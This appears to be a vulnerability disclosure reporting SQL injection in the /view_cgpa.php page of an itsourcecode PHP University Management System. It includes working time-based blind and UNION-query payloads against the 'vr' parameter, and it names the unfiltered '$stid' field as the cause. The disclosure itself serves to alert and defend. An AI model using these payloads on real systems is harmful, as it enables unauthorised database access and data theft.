# Vendor
itsourcecode
# Product
University Management System
# version
1.0
Download Source Code: https://itsourcecode.com/wp-content/uploads/2022/01/University-Management-System-Project-In-PHP-Source-Code.zip
# Description
log in with a admin account, and in the student account's backend, visit "/view_cgpa.php". This page can accept two parameters, VR and VN, both of which can lead to SQL injection attacks.
POC:
```
Parameter: vr (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: vr=123321' AND (SELECT 6610 FROM (SELECT(SLEEP(5)))DIfN) AND 'OIeq'='OIeq&vn=mirage
Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: vr=123321' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7171706271,0x614b42746d4946444c726d734d695a52654d4a5676534344787557687076666b756f73726b727155,0x7176626271),NULL-- -&vn=mirage
```
# Analysis
In the php/functions.php page, the '$stid' field has not been subjected to strict filtering, resulting in a SQL injection vulnerability.